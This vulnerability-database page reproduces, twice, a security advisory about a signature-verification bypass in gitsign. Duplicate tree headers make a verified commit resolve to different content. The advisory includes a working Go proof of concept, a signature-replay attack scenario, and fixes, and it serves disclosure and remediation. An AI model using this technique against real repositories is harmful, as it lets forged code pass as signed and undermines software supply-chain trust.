Severity by source
AV:N/AC:H/PR:N/UI:R/S:U/C:N/I:H/A:N
Primary rating from GitHub Advisory.
CVSS VectorGitHub Advisory
CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:N/I:H/A:N
Lifecycle Timeline
1DescriptionGitHub Advisory
Summary
gitsign verify and gitsign verify-tag re-encode commit/tag objects through go-git's EncodeWithoutSignature before checking the signature, instead of verifying against the raw git object bytes. For malformed objects with duplicate tree headers, git-core and go-git parse different trees: git-core uses the first, go-git uses the second. A signature crafted over the go-git-normalized form (second tree) passes gitsign verify while git-core resolves the commit to a completely different tree. This breaks the invariant that a verified signature, the commit semantics git-core presents to users, and the object hash logged in Rekor all refer to the same content.
Severity
Medium (CVSS 3.1: 5.7)
CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:N/I:H/A:N
- Attack Vector: Network - a malformed commit can be distributed via any accessible git remote
- Attack Complexity: High - exploitation requires crafting malformed objects that also bypass git server fsck checks (not universally enabled)
- Privileges Required: None - the most impactful form (signature replay) requires no signing key
- User Interaction: Required - a victim must run
gitsign verifyon the malformed commit - Scope: Unchanged - impact is confined to the repository under verification
- Confidentiality Impact: None
- Integrity Impact: High - a verified signature appears to endorse content different from what git-core resolves and presents to users
- Availability Impact: None
Affected Component
internal/commands/verify/verify.go-(o *options).Run(line 75)internal/commands/verify-tag/verify_tag.go-(o *options).Run(line 77)pkg/git/verify.go-ObjectHash(lines 126-158, specifically thecommit()round-trip at 161-176)
CWE
- CWE-347: Improper Verification of Cryptographic Signature
- CWE-295: Improper Certificate Validation (secondary - the mismatch allows a cert to appear to cover content it never covered)
Description
Root cause: re-encoding instead of raw-byte verification
When gitsign verify is invoked, the commit is opened via go-git and its body is reconstructed through EncodeWithoutSignature before being passed to the cryptographic verifier:
// internal/commands/verify/verify.go:63-92
c, err := repo.CommitObject(*h) // go-git parses the raw object
...
c2 := new(plumbing.MemoryObject)
if err := c.EncodeWithoutSignature(c2); err != nil { // re-encodes canonical form
return err
}
r, _ := c2.Reader()
data, _ := io.ReadAll(r)
summary, err := v.Verify(ctx, data, sig, true) // verifies re-encoded bytes, not raw bytesThe same pattern appears in verify-tag:
// internal/commands/verify-tag/verify_tag.go:76-95
tagData := new(plumbing.MemoryObject)
if err := tagObj.EncodeWithoutSignature(tagData); err != nil {
return err
}The loose-parsing assumption in go-git
The codebase itself acknowledges the problem in ObjectHash:
// pkg/git/verify.go:137-142
// We're making big assumptions here about the ordering of fields
// in Git objects. Unfortunately go-git does loose parsing of objects,
// so it will happily decode objects that don't match the unmarshal type.
// We should see if there's a better way to detect object types.
switch {
case bytes.HasPrefix(data, []byte("tree ")):
encoder, err = commit(obj, sig)go-git's loose parsing means that for a commit containing two tree headers, it silently discards the first and retains the second. EncodeWithoutSignature then produces a canonical commit body containing only the second tree - which can differ from what git-core resolves.
Divergent verification paths confirm the inconsistency
The git verify-commit path (internal/commands/root/verify.go) receives the raw commit bytes directly from git-core and does not re-encode them:
// internal/commands/root/verify.go:56-70
detached := len(args) >= 2
if detached {
data, sig, err = readDetached(s, args...) // raw bytes from git-core
} else {
sig, err = readAttached(s, args...)
}
...
summary, err := v.Verify(ctx, data, sig, true) // raw bytes, no re-encodingThe two paths therefore reach opposite conclusions for the same malformed commit: git verify-commit fails (raw bytes with both trees ≠ signed canonical bytes), while gitsign verify succeeds (re-encoded bytes match signed bytes).
Concrete attack: signature replay without a signing key
An attacker does not need a signing key to trigger the confusion. Given any existing legitimately gitsign-signed commit from Alice:
tree T1 ← Alice's real tree (what go-git and gitsign see)
author Alice <alice@corp.com> ...
committer Alice <alice@corp.com> ...
gpgsig -----BEGIN SIGNED MESSAGE-----
<Alice's valid signature over T1 canonical form>
-----END SIGNED MESSAGE-----
This is Alice's commit.An attacker crafts a new malformed commit object:
tree T2 ← attacker's malicious tree (git-core uses this)
tree T1 ← Alice's tree (go-git uses this)
author Alice <alice@corp.com> ...
committer Alice <alice@corp.com> ...
gpgsig -----BEGIN SIGNED MESSAGE-----
<Alice's valid signature - replayed verbatim>
-----END SIGNED MESSAGE-----
This is Alice's commit.gitsign verify: go-git picks T1, re-encodes, Alice's signature verifies. Output: "Good signature from alice@corp.com."git log/git-core: uses T2 (attacker-controlled content).- Rekor lookup:
ObjectHashalso goes through the go-git round-trip, so the logged hash is the T1-canonical hash - consistent with the forged verification output but not with the actual raw object.
The attack requires only that the malformed object be accepted into the local repository (bypassing server-side fsck), and that the victim runs gitsign verify.
Proof of Concept
// poc_tree_mismatch.go - run from repo root: go run ./poc_tree_mismatch.go
package main
import (
"context"
"crypto"
"crypto/ecdsa"
"crypto/elliptic"
"crypto/rand"
"crypto/x509"
"crypto/x509/pkix"
"fmt"
"io"
"math/big"
"strings"
"time"
"github.com/go-git/go-git/v5/plumbing"
"github.com/go-git/go-git/v5/plumbing/object"
"github.com/go-git/go-git/v5/storage/memory"
"github.com/sigstore/gitsign/internal/signature"
ggit "github.com/sigstore/gitsign/pkg/git"
)
type identity struct {
cert *x509.Certificate
priv crypto.Signer
}
func (i *identity) Certificate() (*x509.Certificate, error) { return i.cert, nil }
func (i *identity) CertificateChain() ([]*x509.Certificate, error) { return []*x509.Certificate{i.cert}, nil }
func (i *identity) Signer() (crypto.Signer, error) { return i.priv, nil }
func (i *identity) Delete() error { return nil }
func (i *identity) Close() {}
func indentSig(sig string) string {
sig = strings.TrimSuffix(sig, "\n")
lines := strings.Split(sig, "\n")
out := "gpgsig " + lines[0] + "\n"
for _, ln := range lines[1:] {
out += " " + ln + "\n"
}
return out
}
func main() {
priv, _ := ecdsa.GenerateKey(elliptic.P256(), rand.Reader)
tmpl := &x509.Certificate{
SerialNumber: big.NewInt(1),
Subject: pkix.Name{CommonName: "attacker"},
NotBefore: time.Now().Add(-time.Minute),
NotAfter: time.Now().Add(time.Hour),
KeyUsage: x509.KeyUsageDigitalSignature,
ExtKeyUsage: []x509.ExtKeyUsage{x509.ExtKeyUsageCodeSigning},
BasicConstraintsValid: true,
}
rawCert, _ := x509.CreateCertificate(rand.Reader, tmpl, tmpl, &priv.PublicKey, priv)
cert, _ := x509.ParseCertificate(rawCert)
treeFirst := strings.Repeat("a", 40) // git-core uses this
treeSecond := strings.Repeat("b", 40) // go-git uses this
author := "author Eve <eve@example.com> 1700000000 +0000"
committer := "committer Eve <eve@example.com> 1700000000 +0000"
msg := "msg\n"
// Sign the go-git canonical form (second tree only)
canonicalData := fmt.Sprintf("tree %s\n%s\n%s\n\n%s", treeSecond, author, committer, msg)
id := &identity{cert: cert, priv: priv}
resp, err := signature.Sign(context.Background(), id, []byte(canonicalData),
signature.SignOptions{Detached: true, Armor: true, IncludeCerts: 0})
if err != nil {
panic(err)
}
// Craft malformed raw commit: first=treeFirst (git-core), second=treeSecond (go-git)
malformedRaw := fmt.Sprintf("tree %s\ntree %s\n%s\n%s\n%s\n%s",
treeFirst, treeSecond, author, committer, indentSig(string(resp.Signature)), msg)
st := memory.NewStorage()
enc := st.NewEncodedObject()
enc.SetType(plumbing.CommitObject)
w, _ := enc.Writer()
_, _ = w.Write([]byte(malformedRaw))
_ = w.Close()
c, err := object.DecodeCommit(st, enc)
if err != nil {
panic(err)
}
// Reproduce what gitsign verify does
out := new(plumbing.MemoryObject)
if err := c.EncodeWithoutSignature(out); err != nil {
panic(err)
}
r, _ := out.Reader()
verifyData, _ := io.ReadAll(r)
roots := x509.NewCertPool()
roots.AddCert(cert)
v, _ := ggit.NewCertVerifier(ggit.WithRootPool(roots))
_, verr := v.Verify(context.Background(), verifyData, []byte(c.PGPSignature), true)
objHash, oerr := ggit.ObjectHash(verifyData, []byte(c.PGPSignature))
rawObj := &plumbing.MemoryObject{}
rawObj.SetType(plumbing.CommitObject)
_, _ = rawObj.Write([]byte(malformedRaw))
fmt.Println("FIRST_TREE_IN_RAW (git-core):", treeFirst)
fmt.Println("SECOND_TREE_IN_RAW (go-git):", treeSecond)
fmt.Println("GO_GIT_PARSED_TREE:", c.TreeHash.String())
fmt.Println("VERIFY_DATA_EQUALS_CANONICAL:", string(verifyData) == canonicalData)
fmt.Println("CERT_VERIFY_ERROR:", verr) // nil = signature accepted
fmt.Println("OBJECTHASH_ERROR:", oerr)
fmt.Println("OBJECTHASH_FROM_VERIFY_DATA:", objHash)
fmt.Println("RAW_MALFORMED_COMMIT_HASH:", rawObj.Hash().String()) // differs from objHash
}Expected output:
FIRST_TREE_IN_RAW (git-core): aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
SECOND_TREE_IN_RAW (go-git): bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb
GO_GIT_PARSED_TREE: bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb
VERIFY_DATA_EQUALS_CANONICAL: true
CERT_VERIFY_ERROR: <nil> ← signature accepted
OBJECTHASH_ERROR: <nil>
OBJECTHASH_FROM_VERIFY_DATA: <hash of canonical form>
RAW_MALFORMED_COMMIT_HASH: <different hash> ← hash mismatch confirms splitImpact
- Signature binding bypass:
gitsign verifyreports a valid signature from a trusted identity for a commit that git-core resolves to completely different content (a different tree). - Signature replay without a key: An attacker can reuse any existing gitsign-signed commit to produce a new commit that passes
gitsign verifybut points to attacker-controlled content, without possessing any signing key. - Rekor tlog inconsistency:
ObjectHashalso goes through the go-git round-trip, so the hash stored in or looked up from the transparency log is the normalized hash, not the raw object hash. An auditor cross-referencing the tlog hash against the actual object store will see a mismatch. - Verification path divergence:
git verify-commitandgitsign verifyreach opposite verdicts for the same malformed commit, undermining auditability.
Recommended Remediation
Option 1: Verify against raw bytes (preferred)
Change the gitsign verify and gitsign verify-tag CLI commands to read the raw object bytes from the git object store and strip the signature header manually, mirroring what git-core does and what commandVerify already does when called by git verify-commit:
// internal/commands/verify/verify.go - replace lines 63-92
enc, err := repo.Storer.EncodedObject(plumbing.CommitObject, *h)
if err != nil {
return fmt.Errorf("error reading encoded commit object: %w", err)
}
r, err := enc.Reader()
if err != nil {
return err
}
rawBytes, err := io.ReadAll(r)
if err != nil {
return err
}
data, sig, err := git.ExtractSignatureFromRawObject(rawBytes)
if err != nil {
return err
}
// data is now the raw bytes without the gpgsig header - identical to what git-core passes
summary, err := v.Verify(ctx, data, sig, true)This aligns the CLI verification path with the commandVerify (git verify-commit) path that already handles raw bytes correctly.
Option 2: Detect and reject malformed objects
Add a pre-verification check in ObjectHash and in the verification path that rejects objects with duplicate field headers (duplicate tree, parent, author, committer), returning an error rather than silently normalizing:
func validateRawCommitFields(data []byte) error {
seen := map[string]bool{}
for _, line := range bytes.Split(data, []byte("\n")) {
if idx := bytes.IndexByte(line, ' '); idx > 0 {
key := string(line[:idx])
if seen[key] {
return fmt.Errorf("malformed commit: duplicate field %q", key)
}
seen[key] = true
}
if len(line) == 0 {
break // end of headers
}
}
return nil
}This is a defense-in-depth measure but does not address the fundamental architectural issue of verifying re-encoded bytes.
Credit
This vulnerability was discovered and reported by bugbunny.ai.
Analysis
Summary
gitsign verify and gitsign verify-tag re-encode commit/tag objects through go-git's EncodeWithoutSignature before checking the signature, instead of verifying against the raw git object bytes. For malformed objects with duplicate tree headers, git-core and go-git parse different trees: git-core uses the first, go-git uses the second. A signature crafted over the go-git-normalized form (second tree) passes gitsign verify while git-core resolves the commit to a completely different tree. This breaks the invariant that a verified signature, the commit semantics git-core presents to users, and the object hash logged in Rekor all refer to the same content.
Severity
Medium (CVSS 3.1: 5.7)
CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:N/I:H/A:N
- Attack Vector: Network - a malformed commit can be distributed via any accessible git remote
- Attack Complexity: High - exploitation requires crafting malformed objects that also bypass git server fsck checks (not universally enabled)
- Privileges Required: None - the most impactful form (signature replay) requires no signing key
- User Interaction: Required - a victim must run
gitsign verifyon the malformed commit - Scope: Unchanged - impact is confined to the repository under verification
- Confidentiality Impact: None
- Integrity Impact: High - a verified signature appears to endorse content different from what git-core resolves and presents to users
- Availability Impact: None
Affected Component
internal/commands/verify/verify.go-(o *options).Run(line 75)internal/commands/verify-tag/verify_tag.go-(o *options).Run(line 77)pkg/git/verify.go-ObjectHash(lines 126-158, specifically thecommit()round-trip at 161-176)
CWE
- CWE-347: Improper Verification of Cryptographic Signature
- CWE-295: Improper Certificate Validation (secondary - the mismatch allows a cert to appear to cover content it never covered)
Description
Root cause: re-encoding instead of raw-byte verification
When gitsign verify is invoked, the commit is opened via go-git and its body is reconstructed through EncodeWithoutSignature before being passed to the cryptographic verifier:
// internal/commands/verify/verify.go:63-92
c, err := repo.CommitObject(*h) // go-git parses the raw object
...
c2 := new(plumbing.MemoryObject)
if err := c.EncodeWithoutSignature(c2); err != nil { // re-encodes canonical form
return err
}
r, _ := c2.Reader()
data, _ := io.ReadAll(r)
summary, err := v.Verify(ctx, data, sig, true) // verifies re-encoded bytes, not raw bytesThe same pattern appears in verify-tag:
// internal/commands/verify-tag/verify_tag.go:76-95
tagData := new(plumbing.MemoryObject)
if err := tagObj.EncodeWithoutSignature(tagData); err != nil {
return err
}The loose-parsing assumption in go-git
The codebase itself acknowledges the problem in ObjectHash:
// pkg/git/verify.go:137-142
// We're making big assumptions here about the ordering of fields
// in Git objects. Unfortunately go-git does loose parsing of objects,
// so it will happily decode objects that don't match the unmarshal type.
// We should see if there's a better way to detect object types.
switch {
case bytes.HasPrefix(data, []byte("tree ")):
encoder, err = commit(obj, sig)go-git's loose parsing means that for a commit containing two tree headers, it silently discards the first and retains the second. EncodeWithoutSignature then produces a canonical commit body containing only the second tree - which can differ from what git-core resolves.
Divergent verification paths confirm the inconsistency
The git verify-commit path (internal/commands/root/verify.go) receives the raw commit bytes directly from git-core and does not re-encode them:
// internal/commands/root/verify.go:56-70
detached := len(args) >= 2
if detached {
data, sig, err = readDetached(s, args...) // raw bytes from git-core
} else {
sig, err = readAttached(s, args...)
}
...
summary, err := v.Verify(ctx, data, sig, true) // raw bytes, no re-encodingThe two paths therefore reach opposite conclusions for the same malformed commit: git verify-commit fails (raw bytes with both trees ≠ signed canonical bytes), while gitsign verify succeeds (re-encoded bytes match signed bytes).
Concrete attack: signature replay without a signing key
An attacker does not need a signing key to trigger the confusion. Given any existing legitimately gitsign-signed commit from Alice:
tree T1 ← Alice's real tree (what go-git and gitsign see)
author Alice <alice@corp.com> ...
committer Alice <alice@corp.com> ...
gpgsig -----BEGIN SIGNED MESSAGE-----
<Alice's valid signature over T1 canonical form>
-----END SIGNED MESSAGE-----
This is Alice's commit.An attacker crafts a new malformed commit object:
tree T2 ← attacker's malicious tree (git-core uses this)
tree T1 ← Alice's tree (go-git uses this)
author Alice <alice@corp.com> ...
committer Alice <alice@corp.com> ...
gpgsig -----BEGIN SIGNED MESSAGE-----
<Alice's valid signature - replayed verbatim>
-----END SIGNED MESSAGE-----
This is Alice's commit.gitsign verify: go-git picks T1, re-encodes, Alice's signature verifies. Output: "Good signature from alice@corp.com."git log/git-core: uses T2 (attacker-controlled content).- Rekor lookup:
ObjectHashalso goes through the go-git round-trip, so the logged hash is the T1-canonical hash - consistent with the forged verification output but not with the actual raw object.
The attack requires only that the malformed object be accepted into the local repository (bypassing server-side fsck), and that the victim runs gitsign verify.
Proof of Concept
// poc_tree_mismatch.go - run from repo root: go run ./poc_tree_mismatch.go
package main
import (
"context"
"crypto"
"crypto/ecdsa"
"crypto/elliptic"
"crypto/rand"
"crypto/x509"
"crypto/x509/pkix"
"fmt"
"io"
"math/big"
"strings"
"time"
"github.com/go-git/go-git/v5/plumbing"
"github.com/go-git/go-git/v5/plumbing/object"
"github.com/go-git/go-git/v5/storage/memory"
"github.com/sigstore/gitsign/internal/signature"
ggit "github.com/sigstore/gitsign/pkg/git"
)
type identity struct {
cert *x509.Certificate
priv crypto.Signer
}
func (i *identity) Certificate() (*x509.Certificate, error) { return i.cert, nil }
func (i *identity) CertificateChain() ([]*x509.Certificate, error) { return []*x509.Certificate{i.cert}, nil }
func (i *identity) Signer() (crypto.Signer, error) { return i.priv, nil }
func (i *identity) Delete() error { return nil }
func (i *identity) Close() {}
func indentSig(sig string) string {
sig = strings.TrimSuffix(sig, "\n")
lines := strings.Split(sig, "\n")
out := "gpgsig " + lines[0] + "\n"
for _, ln := range lines[1:] {
out += " " + ln + "\n"
}
return out
}
func main() {
priv, _ := ecdsa.GenerateKey(elliptic.P256(), rand.Reader)
tmpl := &x509.Certificate{
SerialNumber: big.NewInt(1),
Subject: pkix.Name{CommonName: "attacker"},
NotBefore: time.Now().Add(-time.Minute),
NotAfter: time.Now().Add(time.Hour),
KeyUsage: x509.KeyUsageDigitalSignature,
ExtKeyUsage: []x509.ExtKeyUsage{x509.ExtKeyUsageCodeSigning},
BasicConstraintsValid: true,
}
rawCert, _ := x509.CreateCertificate(rand.Reader, tmpl, tmpl, &priv.PublicKey, priv)
cert, _ := x509.ParseCertificate(rawCert)
treeFirst := strings.Repeat("a", 40) // git-core uses this
treeSecond := strings.Repeat("b", 40) // go-git uses this
author := "author Eve <eve@example.com> 1700000000 +0000"
committer := "committer Eve <eve@example.com> 1700000000 +0000"
msg := "msg\n"
// Sign the go-git canonical form (second tree only)
canonicalData := fmt.Sprintf("tree %s\n%s\n%s\n\n%s", treeSecond, author, committer, msg)
id := &identity{cert: cert, priv: priv}
resp, err := signature.Sign(context.Background(), id, []byte(canonicalData),
signature.SignOptions{Detached: true, Armor: true, IncludeCerts: 0})
if err != nil {
panic(err)
}
// Craft malformed raw commit: first=treeFirst (git-core), second=treeSecond (go-git)
malformedRaw := fmt.Sprintf("tree %s\ntree %s\n%s\n%s\n%s\n%s",
treeFirst, treeSecond, author, committer, indentSig(string(resp.Signature)), msg)
st := memory.NewStorage()
enc := st.NewEncodedObject()
enc.SetType(plumbing.CommitObject)
w, _ := enc.Writer()
_, _ = w.Write([]byte(malformedRaw))
_ = w.Close()
c, err := object.DecodeCommit(st, enc)
if err != nil {
panic(err)
}
// Reproduce what gitsign verify does
out := new(plumbing.MemoryObject)
if err := c.EncodeWithoutSignature(out); err != nil {
panic(err)
}
r, _ := out.Reader()
verifyData, _ := io.ReadAll(r)
roots := x509.NewCertPool()
roots.AddCert(cert)
v, _ := ggit.NewCertVerifier(ggit.WithRootPool(roots))
_, verr := v.Verify(context.Background(), verifyData, []byte(c.PGPSignature), true)
objHash, oerr := ggit.ObjectHash(verifyData, []byte(c.PGPSignature))
rawObj := &plumbing.MemoryObject{}
rawObj.SetType(plumbing.CommitObject)
_, _ = rawObj.Write([]byte(malformedRaw))
fmt.Println("FIRST_TREE_IN_RAW (git-core):", treeFirst)
fmt.Println("SECOND_TREE_IN_RAW (go-git):", treeSecond)
fmt.Println("GO_GIT_PARSED_TREE:", c.TreeHash.String())
fmt.Println("VERIFY_DATA_EQUALS_CANONICAL:", string(verifyData) == canonicalData)
fmt.Println("CERT_VERIFY_ERROR:", verr) // nil = signature accepted
fmt.Println("OBJECTHASH_ERROR:", oerr)
fmt.Println("OBJECTHASH_FROM_VERIFY_DATA:", objHash)
fmt.Println("RAW_MALFORMED_COMMIT_HASH:", rawObj.Hash().String()) // differs from objHash
}Expected output:
FIRST_TREE_IN_RAW (git-core): aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
SECOND_TREE_IN_RAW (go-git): bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb
GO_GIT_PARSED_TREE: bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb
VERIFY_DATA_EQUALS_CANONICAL: true
CERT_VERIFY_ERROR: <nil> ← signature accepted
OBJECTHASH_ERROR: <nil>
OBJECTHASH_FROM_VERIFY_DATA: <hash of canonical form>
RAW_MALFORMED_COMMIT_HASH: <different hash> ← hash mismatch confirms splitImpact
- Signature binding bypass:
gitsign verifyreports a valid signature from a trusted identity for a commit that git-core resolves to completely different content (a different tree). - Signature replay without a key: An attacker can reuse any existing gitsign-signed commit to produce a new commit that passes
gitsign verifybut points to attacker-controlled content, without possessing any signing key. - Rekor tlog inconsistency:
ObjectHashalso goes through the go-git round-trip, so the hash stored in or looked up from the transparency log is the normalized hash, not the raw object hash. An auditor cross-referencing the tlog hash against the actual object store will see a mismatch. - Verification path divergence:
git verify-commitandgitsign verifyreach opposite verdicts for the same malformed commit, undermining auditability.
Recommended Remediation
Option 1: Verify against raw bytes (preferred)
Change the gitsign verify and gitsign verify-tag CLI commands to read the raw object bytes from the git object store and strip the signature header manually, mirroring what git-core does and what commandVerify already does when called by git verify-commit:
// internal/commands/verify/verify.go - replace lines 63-92
enc, err := repo.Storer.EncodedObject(plumbing.CommitObject, *h)
if err != nil {
return fmt.Errorf("error reading encoded commit object: %w", err)
}
r, err := enc.Reader()
if err != nil {
return err
}
rawBytes, err := io.ReadAll(r)
if err != nil {
return err
}
data, sig, err := git.ExtractSignatureFromRawObject(rawBytes)
if err != nil {
return err
}
// data is now the raw bytes without the gpgsig header - identical to what git-core passes
summary, err := v.Verify(ctx, data, sig, true)This aligns the CLI verification path with the commandVerify (git verify-commit) path that already handles raw bytes correctly.
Option 2: Detect and reject malformed objects
Add a pre-verification check in ObjectHash and in the verification path that rejects objects with duplicate field headers (duplicate tree, parent, author, committer), returning an error rather than silently normalizing:
func validateRawCommitFields(data []byte) error {
seen := map[string]bool{}
for _, line := range bytes.Split(data, []byte("\n")) {
if idx := bytes.IndexByte(line, ' '); idx > 0 {
key := string(line[:idx])
if seen[key] {
return fmt.Errorf("malformed commit: duplicate field %q", key)
}
seen[key] = true
}
if len(line) == 0 {
break // end of headers
}
}
return nil
}This is a defense-in-depth measure but does not address the fundamental architectural issue of verifying re-encoded bytes.
Credit
This vulnerability was discovered and reported by bugbunny.ai.
The x86-64 kernel system-call functionality in Xen 4.1.2 and earlier, as used in Citrix XenServer 6.0.2 and earlier and
An authenticated path traversal vulnerability in Langflow's file upload functionality allows attackers to write arbitrar
Canonical snapd before version 2.37.1 incorrectly performed socket owner validation, allowing an attacker to run arbitra
An authorization bypass vulnerability in gRPC-Go allows attackers to circumvent path-based access control by sending HTT
Arbitrary file read in Langroid's SQLChatAgent (<= 0.63.0) lets an attacker who can influence the LLM-generated SQL exfi
An issue was discovered in the jsrsasign package through 8.0.18 for Node.js. Rated high severity (CVSS 7.5), this vulner
The Elliptic package 6.5.2 for Node.js allows ECDSA signature malleability via variations in encoding, leading '\0' byte
Resource exhaustion in OpenTelemetry Go propagation library (v1.41.0 and earlier) enables remote attackers to trigger se
A vulnerability in the seccomp filters of Canonical snapd before version 2.37.4 allows a strict mode snap to insert char
The Linux kernel before 3.15.4 on Intel processors does not properly restrict use of a non-canonical value for the saved
concrete5 8.1.0 places incorrect trust in the HTTP Host header during caching, if the administrator did not define a "ca
Timestamp forgery in sigstore-js allows an attacker supplying a crafted bundle v0.2 to manipulate certificate validity w
Same weakness CWE-295 – Improper Certificate Validation
View allSame technique Authentication Bypass
View allVendor StatusVendor
SUSE
Severity: MediumShare
External POC / Exploit Code
Leaving vuln.today
EUVD-2026-30563
GHSA-7rmh-48mx-2vwc